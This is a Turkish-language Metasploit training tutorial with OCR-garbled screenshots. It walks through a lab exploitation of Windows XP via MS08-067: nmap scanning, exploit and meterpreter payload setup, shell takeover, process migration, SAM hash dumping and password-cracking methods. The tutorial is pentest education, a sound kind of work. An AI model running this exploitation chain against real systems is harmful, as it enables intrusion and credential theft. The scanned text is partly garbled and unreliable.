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METASPLOIT FRAMEWORK'E GIRIS

Merhaba, bu makalede sizlere siber glivenlik alaninda 6énemli bir yere gelmis olan Metasploit
Framework'ten bahsedilecektir. Bu makale birka¢g makale ile ilintili olacagi icin ilintili bagliklar
su sekilde:

e Metasploit Framework’e Giris

e Metasploit ile Bir Sizma Uygulamasi (ms08_067)
e Metasploit ile Saldiri Asamalari (Ozet)

e Metasploit Komutlari

e Metasploit Detay Bilgiler

e Metasploit Detay Bilgiler (Ozet)

Metasploit Framework sizma testi uzmanlari igin gelistirilmis, icinde binlerce zararl yazilim ve
materyal iceren, ayrica sizma testi sirasinda kullanilabilecek gesitli yardimci araglar da iceren
bir platformdur. 2003 yilinda perl ile yazilmis olan bu platform 2007 yilinda ruby dili ile tamamen
bastan tekrardan yazilmistir. Metasploit Framework baslarda network Uzerinde cesitli
numaralar yapmak Uzerine oyun icabi gelistiriimis bir platformken sonralari ciddi saldirilar
yapmak Uzerine kurgulanmig bir platform halini almistir. Metasploit framework'ln Ucretsiz
community (topluluk) srdmu oldugu gibi Gcretli Pro siriimi de mevcuttur.

Metasploit Framework sizma testi uzmanlarinin siklikla kullandigi platformlardan bir tanesidir.
Bu platform ile sizma testi uzmanlari ¢esitli hedef sistemlere sizilabiliyor mu, sizilabiliyorsa ne
kadar ileri gidilebiliyor, hedef sisteme ne tlirden ve ne kadar zarar verilebiliyor gibi tespitler
yapabilmektedirler. Metasploit Framework bir tar zararli gereclerin toplandigi tertipli bir
kutiphane niteligindedir.

Metasploit Framework dort adet araylze sahiptir. Bunlar; msfconsole, msfcli, armigate ve
cobalt strike seklindedir. Arayiz ile kastedilen sey Metasploit Framework ile etkilesim halinde
oldugumuz yazilimlardir. Metasploit Framework bir platformdur ve 6rnegin msfconsole onu
kullanan, organize eden bir yazihmdir. msfconsole komut satiri Uzerinden metasploit
framework't kullanmamizi saglar. msfcli yine komut satir Gzerinden metasploit framework'u
kullanmamizi saglar, fakat msfconsole'da birkag¢ satirda yapilabilen bir igslemi msfcli tek satirda
yapabilmektedir. Armitage Ucretsiz yazilimi (arayuzu) GUI Uzerinden metasploit
framework'ind kullanmamizi saglar. Cobalt Strike Ucretli yazilimi (araytzi) ise yine GUI
Uzerinden metasploit framework'inii kullanmamizi saglar. Ozetle msfconsole ve msfcli
metasploit framework'iini komut satin Gzerinden, armitage ve cobalt strike ise metasploit
framework'inG pencereler (GUI) Gzerinden kullanma imkani sunan araytzlerdir.

Not: Cobalt Strike yazilimini Armitage'l gelistiren ekip gelistirmistir, fakat Cobalt-Strike
Armitage'a gbre c¢ok daha etkili ve yetenekli yapildigi igin Ucretle kullanima
sunulmaktadir.

Sayilan bu metasploit framework araytzleri icerisinden msfconsole en sik kullanilan metasploit
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framework arayuzudur. Cunku msfconsole Metasploit Framework'e hikmetme konusunda en
kapsamli ve en esnek araylze sahip olandir. Asagida msfconsole'un galistirildiktan sonraki bir
ekran alintisini gérmektesiniz:

M2 E root@TUBITAK-HASANFSIMSEK1: ~
root@TUBITAK-HASANFSIMSEKL: ~# msfconsole

=[ met: oit v4.16.58-dev

+ -- --=[ 1769 exploits - 1005 auxiliary - 307 post

]
]
+ -- --=[ 537 payloads - 41 encoders - 10 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

((({ buraya komutlar girilir

Metasploit Framework'te alti adet modul tirG bulunmaktadir. Bunlar exploit, payload, auxiliary,
post-exploitation, encoder ve nop seklindedir (Not: Yukaridaki resimde kdseli parantezler
arasinda bu modul kategorilerini ve kagar adet ilgili modulleri igerdigini gorebilirsiniz). Bu modul
kategorilerinden exploit kategorisi sizma girisiminde kullanilacak zararli dosyalari igerir.
Payload kategorisi sizma islemi basarili oldugunda ve hedef sistemin icine girildiginde hedef
sistem icinde galigtirilabilecek zararl dosyalari igerir. Auxiliary kategorisi sizma testi sirasinda
ihtiyag duyulabilecek gesitli yan araglari igerir. Ornegin servis bilgisini 6grenme (banner
grabbing), zafiyet tarama, sifre tespit etme,... gibi. Post-exploitation kategorisi hedef sisteme
sizdiktan sonra hedef sistemin bir bagka konumuna sizmada ya da hedef sistemden hedef
sistemin bulundugu LAN agdi igerisindeki bir bagka makinaya da sizmada kullanilabilecek
zararl dosyalari icerir. Encoder kategorisi olugturdugumuz payload'larin antivirus / IDS gibi
glvenlik mekanizmalarinca taninmamasi igin ¢esitli algoritmalar ile kodlanmasini saglayan
kodlayici dosyalar icerir. Son olarak NOP kategorisi ise hedef sistemde programin / servisin
¢cokertilmesi (crash edilmesi), program / servis yerine komple sistemin g¢okertilmesi (crash
edilmesi) ya da sistemde keyfi (saldirganin diledigi) komutlarin galistiriimasi gibi amaglar igin
sistemdeki programin / servisin tamponunda nop (no-operation, yani islem yapma) kodlari ile
ilerlemeler kaydetmeyi saglayan kodlama tirlerini igerir.
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Exploit demek somurmek demektir. Siber glvenlik jargonunda bir sistemin zafiyete sahip
servisi Uzerinden bazi illegal avantajlar elde etmeye exploitation, yani sémirme adi
verilmektedir. Payload ise yuk demektir. Siber glvenlik jargonuna gec¢mis payload (yuk)
kelimesini su benzetmeyle anlamlandirabilirsiniz: Ornegin bir hirsiz elinde bir dinleme cihazi
(yuk) ile hedef eve sizdi (exploitation). Evin ilgili konumuna dinleme cihazini (yukua) yerlestirdi
ve dinleme cihazini aktiflestirdi (¢calistirdi). Son olarak evden ayrildi. Boylece hirsiz hedef evde
gecen konusmalari kendi evinde dinleyebilir duruma geldi. Bu olayda hirsizin hedef eve
sizmasi exploitation, hedef eve yiikiinii birakmasina ise payload adi verilir. iste siber giivenlik
dinyasina gelen payload terimi bu benzetmeden ileri gelir. Post-exploitation ise adindan da
anlayabileceginiz Uzere post-"exploitation", yani ileri sizma anlamina gelir. Auxiliary yardimci
araglar, Encoder zararli dosyalari belirtilen ¢ikti formatinda byte kodlara donugtirmeye denir.
Bu sekilde zararli dosyalar bir veya birden fazla kez dénistiime ugrayarak taninmaz hale gelir
ve guvenlik mekanizmalarinca dosyadaki zararl aktivitelerin tespit edilememesi amaclanir.
Zararli dosyalarin bu dénistirme islemine encoding (kodla - sakla), bu isi yapan araclara da
encoder (kodlayici) adi verilir. Son olarak NOP'a gelecek olursak NOP "islem yapma, beni pas
gec¢ ve ilerle" diye 6zetlenebilecek makine seviyesindeki kod tirlerini igerir. Bu makine
seviyesindeki kod turleri hedef sistemdeki program / servis yoluyla program / servis
tamponunun akisini degistirmeyi ve program / servis tamponu bdlgesinde atlamalar yaparak
hedef programin / servisin ¢okertiimesi (service crash), hedef sistemin ¢okertilmesi (system
crash), hedef sistemde yonetici haklariyla komut calistirilabilmesi gibi illegal eylemlerin
gerceklestirilebilmesini saglar. Bu eylemlere ulasilabilmesindeki temel mantik hedef
sistemdeki programa verilen 6rn; "normal girdi + n sayida nop kodu + keyfi komut" string'inin
programin almasi gereken girdi boyutundan daha fazla olmasi dolayisiyla programin
tamponunda yasanan tasma sonrasi string'in devam eden kisimlarindaki nop (islem yapma -
yani pas gec¢ ve ilerle) kodlarinin programin tampondaki normal akisini kaydirmasi ve
tamponda olmasi gerekenden daha farkli bir konuma gidilmesinden, nihayetinde ise keyfi
komutun kayma islemi sonrasi elverisli bir konuma yumusak inis yapmasindan (yani tam da
ise yarayacagi konuma yerlesebilmesinden) ibarettir. Saldirganlari bu saldirilarda zorlayan sey
uygun nop sayisini tutturmaktir. Eger dogru sayida "nop kodlamasi" ve pesisira gelecek keyfi
komut string'ini gdnderebilirlerse programa su satira git gibi direktifler verdirebilir ve verdigi
komutun calismasini saglayabilir. Sonu¢ olarak NOP kategorisi programlarin / servislerin
tampondaki normal akiglarini bozan / degistiren ve farkli sonuglar elde edebilmeyi saglayan
kodlama turlerine denir.

Pekala, metasploit framework'i ve populer arayiziu olan msfconsole'u gérdigumuze gore
isterseniz su adresten ( Windows / Linux igin Metasploit ) manuel olarak Metasploit Framework
ve Console'unu indirebilir ve kullanabilirsiniz ya da bir linux dagitimi olan, iginde ylzlerce siber
guvenlik aracinin hazir kurulu halde geldigi Kali Linux sanal makinasini su adresten (
WMWare/VirtualBox igin Kali Linux Sanal Makinasi ) indirerek orada Metasploit'
kullanabilirsiniz. Zira sonraki ilintili makalelerde metasploit framework'lint kullanarak sizma
uygulamasi yapilacagindan Metasploit Framework ve console'unu edinmek isteyebilirsiniz.
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METASPLOIT ILE BIR SIZMA UYGULAMASI
(MS08-067)

Merhaba, bu makalede sizlere Metasploit Framework'l kullanilarak hedef bir sisteme sizma
ornegi (exploitation) ve hedef sistemde bir payload calistirma 6rnedi gosterilecektir. Bu yaziya
eger onceki ilintili konuyu okumadan basladiysaniz konu zincirini géstermek baglaminda
asagidaki liste verilmistir:

e Metasploit Framework’e Giris

e Metasploit ile Bir Sizma Uygulamasi (ms08_067)
e Metasploit ile Saldiri Asamalari (Ozet)

e Metasploit Komutlari

e Metasploit Detay Bilgiler

e Metasploit Detay Bilgiler (Ozet)

Bu makalede klasik bir uygulama olan Kali sanal makinasindan Metasploit ile Windows XP
sanal makinasina sizma ve Windows XP sanal makinasinda c¢esitli eylemler gergeklestirme
igslemleri gosterilecektir. Bu uygulama sizlere Metasploit ile neler yapabilece@ine dair bir ufuk
cizecektir. Oncelikle ms08-067 diye literatiire gecen zafiyetin kaynagi olan netapi nedir ve
neler yapabilir ondan bahsedelim.

Biraz Arkaplan

Windows sistemlerde makinalarin birbirleriyle dosya paylasimi yapabilmeleri igin iki servis
(program) mevcuttur. Bunlar microsoft-ds ve netbios-ssn seklindedir. Bu iki servis dosya
paylasim protokoll olan SAMBA'yi kullanirlar. Fakat microsoft-ds servisi SAMBA protokoli
Uzerinden direk iletisim kurabilmeyi destekleyen LAN'daki cihazlarla baglanti kurarken netbios-
ssn servisi ise SAMBA protokolu Uzerinden direk iletisim kurabilmeyi desteklemeyen LAN'daki
cihazlarla NetBios api'l Uzerinden baglanti kurar. microsoft-ds servisi port 445'i kullanirken
Netbios-ssn servisi port 139'u kullanir.

Port 445: SMB -> .... -> TCP
Port 139: SMB -> NetBIOS -> TCP

(Uygulama Katmani) (Tasima Katmani)

Netapi (netapi.dll) denilen sey ise bir SMB (yani SAMBA) modulidur. Yerel agda (LAN'da)
dosya paylasimini saglayan bir sistem kutiphanesidir.
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Piyasaya c¢ilkmig Netapi exploit'i (zararlisi) hedef sistemdeki microsoft-ds servisi kanaliyla
ulasilan netapi dll'inin dizin yolu genellestirme kodundaki bir parsing (ayrigtirma) hatasindan
yararlanir ve bu yolla hedef sistemde komut ¢aligtirma imkani sunar.

Saldir1 Bashyor

Pekala, netapi'nin windows sistemlerde dosya paylagimi igin kullanilan bir sistem kitiphanesi
oldugunu 6grendikten sonra bu kutliphanenin agigindan faydalanarak hedef sisteme sizma
uygulamamiza baslayabiliriz. Uygulama sirasinda kullanilacak gerecler su sekildedir:

Gereksinimler

(+) Bu yazi belirtilen materyaller ile birebir denenmistir ve basarili olunmustur.
Kali Linux 1.0.4 x64 [indir] // Saldirgan Sistem

Windows XP SP2 TR LANG x86 [indir] // Hedef Sistem

Oncelikle hedef sisteme saldirabilmek icin hedef sistemin adresine ihtiyacimiz vardir. Nasil
askeri anlamda silahli kuvvetlerimiz taarruz emri icin 6nce saldirilacak noktanin koordinatlarini
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belirler, ayni onun gibi internet dinyasinda da hedef bir noktaya saldirmak igin dnce onun
konumunu (yani IP'sini) 6grenmemiz gerekir. Bu islem i¢in Windows XP sanal makinanizda bir
komut ekrani (CMD penceresi) acin ve asagidaki komutu girin:

Not: Bu saldiri hedef sistemde glvenlik duvari (firewall) kapaliysa basarili olacaktir. Eger
glvenlik duvari agiksa ve 445nci portu filtreliyorsa bu durumda microsoft-ds servisine
ulagilamayacagindan gonderilecek zararl istekler hedefine varamayacaktir ve saldiri bertaraf
edilmis olacaktir.

Windows XP CMD:

1 ipconfig

Ciktr:

Microsoft Vindows ¥ rum S 2618 )

>l - % “
Telif Hakki 19¢ 881 Microsoft Corp.

\Documents and Settings\pentestX>ipconfig

Mindows IP Yapirlandairmasa

ii DNS Soneki .

s and Settings\pentest)

Geti Dindsim  downloadfle. ...
Kutusu

w’ ” - o
‘g Ba?’at e\ Seg Komut Isteml R & 14:22

Aldiginiz IP adresini bir kdseye not edin ve Kali sanal makinaniza gecin. Kali sanal
makinasinda hazir kurulu olarak gelen nmap araci ile hedef sistemi basit bir port ve servis
taramasina tabi tutun (Not: Nmap taramalari hakkinda detayh bilgi ilerleyen glnlerde
paylasilacaktir). Bu tarama bize hedef sistemdeki agik portlari ve agik portlardaki ¢alisan
servisleri (programlari) gdsterecektir.
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Kali Linux Terminal:

1 nmap X.X.X.X

Ciktr:

us Computer-Systess)

o) scanned in 1.34 seconds

(] raat@kali: ~

Ciktidan gorulebilecedi Uzere hedef sistemde (Windows XP'de) 445 nolu port acglk ve
Microsoft-ds dosya paylasim servisi ¢calismakta. Simdi topladigimiz bilgiler sonrasi saldiriya
gecebiliriz.

Hedefimiz : Windows XP SP2 TR
Hedef Portumuz : 445
Kullanilacak Zararli : ms08_067_netapi

Not: Bazen bazi servisler var olmasi gereken portta olmayabilir. Ornegin herkesin bilebilecegi
gibi web sunucu yazilimlari genellikle 80 portundan (http olarak) disariya c¢ikarlar. 443
portundan ise sifreli olarak (https olarak) disariya ¢ikarlar. Ancak web sunucu yoneticisi isterse
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80 nolu porttan sifreli olarak (https olarak) cikisi saglayabilir. Bu islem birkag ufak
konfigurasyon ayari ile mimkUinddr. Dolayisiyla microsoft-ds servisi i¢in varsayilan port
numarasi 445 olsa bile hedef sistemi ydnetenlerin microsoft-ds servisinin calistigi port
numarasini farkl bir porta gekebilecedini unutmayin. Nmap bu gibi durumlarda genellikle
yardiminiza yetisecektir.

Simdi metasploit ile netapi zararlimizi kullanarak hedef sisteme sizabiliriz. Metasploit
framework ve araylzi msfconsole'u baglatalim.

Kali Linux Terminal:

1 service postgresqgl start
2 service metasploit start
3 msfconsole

Ciktr:

Thu Sep 20, 6:12 AM

root@kali: ~

Fle Eat View DSearch erminal Help

! Upgrade t

& root@kali: ~

TUBITAK — BILGEM - Siber Guvenlik Enstitisi
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msfconsole araylziini baslat dedigimizde yukaridaki resimde oldugu gibi

msf >

bir satir bizi karsilar. Bu satir sizin msfconsole oturumuna gegtiginizi ifade eder. Msfconsole
sorunsuz acildigina gére simdi zararlimizi segelim.

Kali Linux Terminal:

1 msf > use exploit/windows/smb/ms08 067 netapi

use komutu modil segmeye yarar. Metasploit komutlarinin en sik kullanilanlari sizlerle yazinin
ilerleyen kisimlarinda Metasploit Komutlari bashgi ile paylasilacaktir. netapi zararlimizi
sectikten sonra bu zararliya hedef sistemi 6gretelim:

Kali Linux Terminal:

1 msf exploit (ms08 067 netapi) > set RHOST X.X.X.X // Windows XP IP'si

RHOST'a, yani Remote Host'a (Uzak Konuma) hedef sistemin IP'si girilir. Zararhimiza
(exploit'e) hedefi gésterdikten sonra bir de payload verelim.

Kali Linux Terminal:

1 msf exploit (ms08 067 netapi) > set PAYLOAD windows/meterpreter/bind tcp

Payload'a kendi IP'mizi verelim ki exploit ile hedef sisteme sizdigimizda ve payload akabinde
hedef sistemde calistiginda bize baglantisini gdnderebilsin. Bdylece hedef sistemi payload'la
kumanda edebilelim.

Kali Linux Terminal:

msf exploit (ms08 067 netapi) > set LHOST X.X.X.X // Kali Linux
IP'si

Not: Kali Linux'taki IP'nizi 6grenmek icin terminal penceresine ifconfig komutunu girebilirsiniz.

Tum bu yapilan iglemleri gosteren ekran goruntusu agagida verilmisgtir:
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Applications Places T = Thu Sep 20, 6:34 AM

root@kali: ~

' Upgrade t

t/bind _tcp

Son olarak exploit (zafiyeti sbmur) komutunu girerek hedef sisteme zararl paketimizi payload
ile beraber gonderelim.

Kali Linux Terminal:

1 msf exploit (ms08 067 netapi) > exploit

Cikti:

TUBITAK — BILGEM - Siber Guvenlik Enstitisi
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Thu Sep 20, 6:38 AM
root@kali; =

ows/matarpretarsbind top
| = sat LHOST I7E.1A. 3\ 16T

Bu gérmis oldugunuz ekranda

meterpreter >

yazan yer sizin meterpreter (kullandigimiz payload'un ismi) oturumuna gectiginizi
goOstermektedir. Yani hedef sistemdeki payload'umuz (meterpreter) galismis ve bize baglanti
yollayabilmis ki biz meterpreter oturumuna gecebilmigiz. Bu noktadan sonra yapilabilecek bir
dinya iglem vardir.

Meterpreter siber givenlik dinyasinda bir¢cok siyah sapkali hacker'in (¢alip ¢cirpmaya dénik
hacker'larin) riyalarini susler. Clnku bir sisteme meterpreter'i atip ¢alistirabilirseniz tipki hedef
makinanin kargisinda oturan kullanici gibi siz o makinayi kontrol edebilirsiniz. Herseyiyle... Ne
demek istiyorsun sorusunun cevabini makalenin ilerleyen paragraflarinda bulabilirsiniz.

Saldirida Ilerleyelim
Hedefe sizdiktan sonra ve meterpreter adli payload'umuzun oturumunu elde edebildikten
sonra yapilacak islem segtigimiz payload'un yeteneklerini sirayla denemek olabilir:

a) Shell Oturumunu Devralma

TUBITAK — BILGEM - Siber Guvenlik Enstitisi
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Shell oturumunu devralma ile hedef sistemin komut satirini komut satirimiza getirebiliriz. Yani
Kali'den terminal ekranina girecegimiz her bir komutu Windows XP'nin karsisinda oturan bir
kisi Windows XP'nin cmd ekranina birer birer giriyormusgasina c¢alistirabiliriz ve ¢iktilarini
kendi makinamizdan alabiliriz. Bu islem igin komut satiri oturumu devralmamizi saglayan
meterpreter komutu shell i kullanabiliriz:

Kali Linux Terminal:

1 meterpreter > shell

Ciktr:

Applications Places = Thu Oet 11, 3:34 AM
root@kali: =

Terminal Help

L1s from AV! Upgrade
with Matasploit Pro

Goriuldugu tzere windows komut satiri linux komut satirrmiza geldi:

Kali Linux Terminal:

1 C:\WINDOWS\System32>

Bu noktada Windows'un komut satiri kodlamasi olan CMD komutlarini bilmeniz hayati 6nem
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tagiyor. Zira bu sayede agilan bu kanaldan gireceginiz CMD kodlari ile sanki Windows XP'nin
karsisinda oturuyormus gibi bilgisayara hikmedebilirsiniz. Ornegin asagida hedef sistemin
masaustine gidilisini ve hack'lendiniz tarzinda bir dosya konulusunu goérintilemektesiniz:

Kali Linux Terminal:

1 C:\WINDOWS\System32> cd ../../

2 C:\> dir

Ciktr:

ViVi VIFCUglBOoX

Tue Oct 16, 4:48 AM

root@kali: ~

oot@kali; -

Birim Seri Numaras@:

&l root@kale -

Kali Linux Terminal:

1 C:\WINDOWS\System32> cd "Documents and Settings"

2 C:\> dir

TUBITAK — BILGEM - Siber Guvenlik Enstitisi

15



TASNIF DISI

Metasploit'i Taniyalim

Ciktr:

Applications Places I [ " Tue Oct 16, &:49 AM

root@kali: =

ch Terminal

rootidkali: -

B H - ocumants anc .'..:l' Tings 4alzin

a16

Kali Linux Terminal:

1 C:\WINDOWS\System32> cdpentest
2 C:\> cd Desktop

3 C:\> dir

Cikti:
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Applications Places [ [ TueOct 18, 4:50 AM

reoti@kali: =
Edt Wiew Search Terminal Tabs

aatikali: - roatidkali: -
ard St t i nge-

and Settings

ity Edition.lnk

Kali Linux Terminal:

1 C:\WINDOWS\System32> echo "Merhaba dostum, sistemine sizildi -,-"> HACKED.txt

Cikti:

[ Hedef sisteme dosya konur ]
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Applic
rootilkali: =

Search Terminal Tabs Help

ity Edition.lnk

[ Hedef sistemdeki kullanici dosyayi gorur ]

Tue Oct 16, 4:58 AM

rooti@kali: -

temine

s1z11d1
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Belgeerim

X m B

Bilgisayanm
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—~—

Belgeiarim Tk Fose deneme txt MACKED. bt

‘: : I HACKED.txt - Not Defteri
Bilsisayahm Dosya Dizen Bgim GorlnOm Yardm
. "Merhaba dostum, sistemine s1z11d1 -, -

Ger Dondsum  downlo

Kutusy

£ BE&Tat P HACKED.bxt - Not De

Burada size shell oturumu alinarak yapilabileceklerden sadece bir tanesi gdsterilmigtir.
Saldirganlar shell oturumu devralarak 6rneg@in hedef sistemdeki dosyalarin igerigini okuyabilir,
dosyalari silebilir, dosya iceriklerini degistirebilir, zararli bagka dosyalar indirtebilir (shell
oturumu Uzerinden windows sistemelere nasil dosyalar indirilebilecegine dair ydntemler
sonradan paylagilacaktir), sistemde kendine kullanici hesabi agtirabilir (ki bdylece sisteme
olan erisimini kalici hale getirmeye dair bir tesebblste bulunulmus olur),...vs. Yani 6zetle hedef
sistemin karsisinda oturan kullanicinin yapabilecegdi her seyi saldirgan edindigi yetki él¢tisunde
yapabilir. Burada saldirganin komut satiri kodlamasina hakimiyeti sizdig1 hedef sistemde
yapabilecegi zararli aktiviteler konusunda belirleyici olur.

b) Windows Sistemdeki Oturum Omriimiizii Uzatma

netapi exploit'i ile sisteme sizmistik ve meterpreter oturumu elde etmistik. Bizim meterpreter
payload'umuz aslinda sizdigimiz Windows XP makinasindaki bir servisin yerine ge¢cmigtir.
Meterpreter payload'umuzun hedef sistemdeki hangi servisin yerine gegtigini gérmek igin pwd
komutunu kullanabiliriz:

Kali Linux Terminal:

1 meterpreter > pwd
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Ciktr:

Thu et 11, 4:37 AM

root@kali: ~

pwd komutu normalde bir linux komutudur ve bulunulan dizini vermeye yarar. Meterpreter ise
bu komutu yerine gectidi servisin bulundugu dizini vermek igin kullanir. Géruldugu Uzere
meterpreter payload'u hedef sistemde system32.exe process'i olarak gériinmekteymis.
Diyelim ki kisa 6marli bir process'te oturumu devralabildik. Bu durumda migrate (yani gog
etme) islemini yapmamiz gerekir. Bu kelime aslinda tam da anlaminin isaret ettigi gibi bir
eylemi ifade eder. Yani process'ten process'e tasinma. Meterpreter payload'umuzu mesela
Internet Explorer process'ine tagiyabiliriz. Fakat o zaman Windows XP'yi kullanan kullanici
Internet Explorer'i kapadidi an bizim baglantimiz kopar. Daha uzun dmdarlt ne olabilir? Mesela
explorer.exe. Bu process Windows sistemlerde goérduguniz pencerelerin yazilimina dair bir
process'tir. Linux'taki pencereleri ise 6rnegin Gnome yazilimi vermektedir. Explorer.exe
hemen hemen en uzun dmuirll process'lerden biridir. Clinkl pencereler (pencerelerden kastim
ekranda gordiigiiniiz her bir grafik bileseni, mesela baslat cubugu gibi) ancak windows isletim
sistemi kapatildiginda (shut down edildiginde) sonlanacak bir process'tir. Dolayisiyla dmri
uzatma geregi duyulan bir senaryoyla karsilasildiginda yapilacak igslem bir meterpreter komutu
olan migrate'i kullanmaktir. Ama 6nce edinmeniz gereken bir bilgi vardir. G6¢ edecegdiniz
process'in kimlik numarasini (id'sini) 6grenmek. Bu islem igin ps komutu kullanilabilir:
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Kali Linux Terminal:

1 meterpreter > ps

Ciktr:

Applications Flaces = Thu Oct 11, 4:58 AM

root@kali; #

Terminal Help

PENTEST -WI

NT A&
NT &

rogram Filas\Commor

Gorlaldugu Gzere explorer.exe process'inin pid'si (process id'si) 1568 seklindeymis. Bu bilgiden
hareketle uzak sistemdeki meterpreter payload'umuzu explorer.exe process'ine migrate
komutu ile tagiyalim:

Kali Linux Terminal:

1 meterpreter > migrate 1568

Cikti:
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Applications Places & P2 Thu Qet 11, 5:05 AM

root@kali; =

Terminal Help

Program

Goruldugu Uzere migrate (yani gog) islemi basarili bir sekilde oldu mesaji gelmistir. Gergekten
meterpreter payload'umuzu explorer.exe process'ine tasiyabildik mi diye test etmek amagli
pwd komutumuzu tekrar kullanalim:

Kali Linux Terminal:

1 meterpreter > pwd

Ciktr:
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Thu ©ct 11, 5:06 AM
root@kali: =

Terminal Help

Frogram Files Co

Goruldugu Uzere mevcut kullanicinin ana dizini gérintilenmektedir. Yani migrate islemi
basarili olmustur ve hedef sistemdeki meterpreter oturum dmrimuz pencere yonetim sistemi
process'inin (yani sistemin) acik kaldigi sire kadar olmustur.

Ek Bilgi:

Pencere yonetim sistemi (explorer.exe, Gnome, Unity,...) oturumlari kullanici
oturumlarinin ana dizi altinda gizli dosya olarak yer alirlar. Ornegin linux'ta parolanizi
girip oturum actiginizda linux pencere yonetim sistemi olan Gnome'da da bir oturum
acmis olursunuz. Bu oturumun session ve gerez dosyalari (oturum dosyalari) kullanici
hesabinin ana dizini altinda (home dizini altinda) yer alir. Linux sistemlerdeki GNOME
pencere yonetim sistemi igin bu oturum dosyalarindan birincisi .xsession'dir, digeri de
Xauthority'dir. Ornegin nadir de olsa karsilasilan bir 6rnekten bahsedelim. Linux
sistemlerde bazen kullanicilar giris yaptiklari kullanici hesabina ait home dizinine root
izni verebiliyorlar. Bu durumda o dizin artik root'a (yani linux sistemelerde en yetKkili
kullaniciya) ait bir dizin olmus oluyor ve kullanicinin mevcut dizini olmaktan gikiyor.
Ardindan kullanici bilgisayari yeniden baglattiginda ve linux oturum agma ekranina
geldiginde parolasini girecektir, fakat parolasini dogru girmesine ragmen (ekranda da
parolaniz yanlis dememesine ragmen) giris yapamayacaktir. Bunun nedeni kullaniciya
ait (ona has) bir ana dizinin (home dizininin) artik olmamasindan dolayidir. Yani oturum
agma sirasinda pencere ydnetim sistemi de oturum agmaya ¢alisacagindan pencere
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yonetim sisteminin session ve c¢erez dosyalari yerlesecek yer bulamayacaktir. Bu
nedenle gorsel oturum acgilamayacaktir (Not: Normalde cerez istemcide, session
sunucuda yer alan dosyalardir. Fakat pencere yodnetim sistemlerini biz
bilgisayarlarimizda hem istemci hem de sunucu olarak kullandigimiz igin ikisi bir arada
makinamizda yer almaktadir).

Sonug olarak hedef sistemdeki meterpreter oturumumuzun édmri migrate komutu ile go¢
ettigimiz process'in dmri kadar olmustur. Bu sekilde d6mUr uzatarak hedef sistemde daha fazla
bilgi toplama, daha fazla islemlerde bulunma imkani elde edebiliriz.

¢) Windows Hesap Bilgilerinin (6rn; Parolalarin) Tutuldugu Dosyayi Okuma

Windows sistemlerde kullanici hesaplari bilgileri SAM adi verilen bir dosyada tutulur. Bu
dosyanin igerigini ¢ekmek icin meterpreter'in  hashdump adli komutu kullanilabilir:

Uyani: Kali Linux Terminal ekraninda bildiginiz lzere su an shell ofturumu agik vaziyette.
Msfconsole'u kapamadan shell oturumunu sonlandirip tekrar meterpreter ofurumuna gegmek
icin CTRL + C tus kombinasyonuna basin. Ardindan "y" harfini girin ve enter'layin.

Kali Linux Terminal:

1 meterpreter > hashdump

Ciktr:
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Applications Places . Thu Oct 11, 3:53 AM

root@kali: =

wsSmataerpratar,soln |_T-.|

18

1 :.aacBI:-’ljr:-_a

SbGl4064 ceaa_‘l b43 JI‘..?|.1J1E"'3].C:--\_ fl.:ll*ac:-i]:- E
.i:.—ad Akl ﬁbﬁl-’l"“lm TELE 11,1-55'\'31?'. a1 TEIEESE 725 1r~I-1-|f lal 27 RazabbES
H ; g Th adl'—:da /dd'\-c"_n -\.Tlr ﬂl;ill-ﬂdrdbn]!!!

Gorduguniz tzere hedef Windows XP sistemindeki tim hesaplarin dokimu elimize gegmisgtir.
Burada kullanici adlarini gérantilemektesiniz ve kullanici adlarinin sahip oldugu parolalari
hash'lenmis olarak (yani geri donllmez sekilde sifrelenmis olarak) gérintilemektesiniz. Bu
noktadan sonra yapabileceginiz islem bu parolalarin agik halini elde etmeye ¢alismak olabilir.
Bunun igin sifre kirma metotlarindan sézlik saldirisi (dictionary attack) ve kaba kuvvet saldirisi
(brute force attack) yapabilen JohnTheRipper, Hashcat gibi araglari kullanabilir ya da rainbow
tablolarindan yararlanan Ophcrack gibi araglarla daha hizli sonuca ulagsmayi deneyebilirsiniz.
Sozluk saldirisi demek binlerce, belki milyonlarca sik kullanilan sifrelerin alt alta yer aldidi bir
txt dosyasinin programa verilip her satirinin (yani her olasi gifrenin) sifremiz bu mu degil mi
diye sirayla denendigi saldiri tirine denir. Milyonlarca sik kullanilan sifreler arasindan birisi
eslestigi an sifre kirildi (tespit edildi) denir. Kaba kuvvet saldirisi programa verilecek karakter
seti (6rn; a'dan z'ye tum harfler ve A'dan Z'ye tum harfler gibi), minimum kelime uzunlugu ve
maksimum kelime uzunlugu bilgileri dogrultusunda programin kendisine verilen sinirlar
dogrultusunda elde edilebilecek maksimum tim kelimeleri sirasiyla sifre bu mu degil mi diye
denemesine denir. Rainbow saldirisi ise normal sézlik ve kaba kuvvet saldirilarina nazaran
hiz agisindan daha avantajli bir saldiri tirtdur. Clnku sézlik ve kaba kuvvet saldirilarinda
hash'lenmis bir sifreyi kirmak i¢in denenen her kelimenin 6nce hash'i alinir ve sonra
kiyaslamaya tabi tutulur. Denenecek her bir sifrenin hash'e donustirilmesinde kullanilacak
hash algoritmasinin karmasikligina gore saldiri uzar. Rainbow'da ise denenecek sik kullanilan
sifreler ve sik kullanilan sifrelerin hash halleri hazir halde yer aldigindan denenecek sifrenin
hash dénistirmesine tabi tutulmasi gibi bir durum s6z konusu degildir. Rainbow'da denenen
sey sadece olasi parolanin hash halidir. Hash'ler birbirleriyle tamamen ayni oldugunda hemen

TUBITAK — BILGEM - Siber Guvenlik Enstitisi

26



TASNIF DISI Metasploit'i Tanityalim

o hash'e karsilik gelen agik parola program ekrana basilir. Bu nedenle Rainbow saldirilari
normal s6zluk ve kaba kuvvet saldirilarina goére ¢cok daha hizli bir saldiri tirt olarak bilinir.

Sifreyi tespit ettiniz (teknik tabirle kirdiniz) diyelim. Bu noktadan sonra yapilabilecek iglemlerin
haddi hesabi yoktur. Karginizdaki kullanici makinesinin figsini ¢cekmedigi strece makinayi
kullanan artik sizsiniz, o degil.

d) Hedef Sistemin Ekran Goriintiisiinii Alma

Hedef sistemde kullanici makinasini kullanirken sistemin ekran gérintisiunid ¢ekip kendi
sistemimizde goéruntuleyebiliriz. Bunun igin bir meterpreter komutu olan screenshot
kullanilabilir:

Kali Linux Terminal:

1 meterpreter > screenshot

Ciktr:

Thu Oct 11, 5:54 AM

root@kali; =

E roa tifealic -

Cikti bize uzak sistemin ekran goruntisinin sistemimizin /root dizini altinda oldugunu
sOylemekte. Oraya bakalim:
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Applications

Places B

View Go

| Fila System

@ Trash
Metwaork

owse Net

onefila, hitml

